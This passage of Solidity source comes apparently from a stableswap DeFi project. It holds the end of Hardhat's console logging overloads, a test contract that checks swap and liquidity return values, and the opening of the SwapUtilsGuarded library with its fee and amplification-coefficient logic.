log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../../interfaces/ISwap.sol"; import "hardhat/console.sol"; contract TestSwapReturnValues { using SafeMath for uint256; ISwap public swap; IERC20 public lpToken; uint8 public n; uint256 public constant MAX_INT = 2**256 - 1; constructor( ISwap swapContract, IERC20 lpTokenContract, uint8 numOfTokens ) public { swap = swapContract; lpToken = lpTokenContract; n = numOfTokens; // Pre-approve tokens for (uint8 i; i < n; i++) { swap.getToken(i).approve(address(swap), MAX_INT); } lpToken.approve(address(swap), MAX_INT); } function test_swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) public { uint256 balanceBefore = swap.getToken(tokenIndexTo).balanceOf( address(this) ); uint256 returnValue = swap.swap( tokenIndexFrom, tokenIndexTo, dx, minDy, block.timestamp ); uint256 balanceAfter = swap.getToken(tokenIndexTo).balanceOf( address(this) ); console.log( "swap: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "swap()'s return value does not match received amount" ); } function test_addLiquidity(uint256[] calldata amounts, uint256 minToMint) public { uint256 balanceBefore = lpToken.balanceOf(address(this)); uint256 returnValue = swap.addLiquidity(amounts, minToMint, MAX_INT); uint256 balanceAfter = lpToken.balanceOf(address(this)); console.log( "addLiquidity: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "addLiquidity()'s return value does not match minted amount" ); } function test_removeLiquidity(uint256 amount, uint256[] memory minAmounts) public { uint256[] memory balanceBefore = new uint256[](n); uint256[] memory balanceAfter = new uint256[](n); for (uint8 i = 0; i < n; i++) { balanceBefore[i] = swap.getToken(i).balanceOf(address(this)); } uint256[] memory returnValue = swap.removeLiquidity( amount, minAmounts, MAX_INT ); for (uint8 i = 0; i < n; i++) { balanceAfter[i] = swap.getToken(i).balanceOf(address(this)); console.log( "removeLiquidity: Expected %s, got %s", balanceAfter[i].sub(balanceBefore[i]), returnValue[i] ); require( balanceAfter[i].sub(balanceBefore[i]) == returnValue[i], "removeLiquidity()'s return value does not match received amounts of tokens" ); } } function test_removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount ) public { uint256 balanceBefore = lpToken.balanceOf(address(this)); uint256 returnValue = swap.removeLiquidityImbalance( amounts, maxBurnAmount, MAX_INT ); uint256 balanceAfter = lpToken.balanceOf(address(this)); console.log( "removeLiquidityImbalance: Expected %s, got %s", balanceBefore.sub(balanceAfter), returnValue ); require( returnValue == balanceBefore.sub(balanceAfter), "removeLiquidityImbalance()'s return value does not match burned lpToken amount" ); } function test_removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount ) public { uint256 balanceBefore = swap.getToken(tokenIndex).balanceOf( address(this) ); uint256 returnValue = swap.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount, MAX_INT ); uint256 balanceAfter = swap.getToken(tokenIndex).balanceOf( address(this) ); console.log( "removeLiquidityOneToken: Expected %s, got %s", balanceAfter.sub(balanceBefore), returnValue ); require( returnValue == balanceAfter.sub(balanceBefore), "removeLiquidityOneToken()'s return value does not match received token amount" ); } } // SPDX-License-Identifier: MIT // https://etherscan.io/address/0x2b7a5a5923eca5c00c6572cf3e8e08384f563f93#code pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./LPTokenGuarded.sol"; import "../MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtilsGuarded { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; uint256 defaultWithdrawFee; LPTokenGuarded lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; mapping(address => uint256) depositTimestamp; mapping(address => uint256) withdrawFeeMultiplier; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculation in addLiquidity function // to avoid stack too deep error struct AddLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; } // Struct storing variables used in calculation in removeLiquidityImbalance function // to avoid stack too deep error struct RemoveLiquidityImbalanceInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Max withdrawFee is 1% of the value withdrawn // Fee will be redistributed to the LPs in the pool, rewarding // long term providers. uint256 public constant MAX_WITHDRAW_FEE = 10**8; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /*** VIEW & PURE FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(Swap storage self) external view returns (uint256) { return _getA(self); } /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function _getA(Swap storage self) internal view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Calculates and returns A based on the ramp settings * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Retrieves the timestamp of last deposit made by the given address * @param self Swap struct to read from * @return timestamp of last deposit */ function getDepositTimestamp(Swap storage self, address user) external view returns (uint256) { return self.depositTimestamp[user]; } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param account the address that is withdrawing * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive and the associated swap fee */ function calculateWithdrawOneToken( Swap storage self, address account, uint256 tokenAmount, uint8 tokenIndex ) public view returns (uint256, uint256) { uint256 dy; uint256 newY; (dy, newY) = calculateWithdrawOneTokenDY(self, tokenIndex, tokenAmount); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = _xp(self)[tokenIndex] .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); dy = dy .mul( FEE_DENOMINATOR.sub(calculateCurrentWithdrawFee(self, account)) ) .div(FEE_DENOMINATOR); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount ) internal view returns (uint256, uint256) { require( tokenIndex < self.pooledTokens.length, "Token index out of range" ); // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(self.lpToken.totalSupply())); require(tokenAmount <= 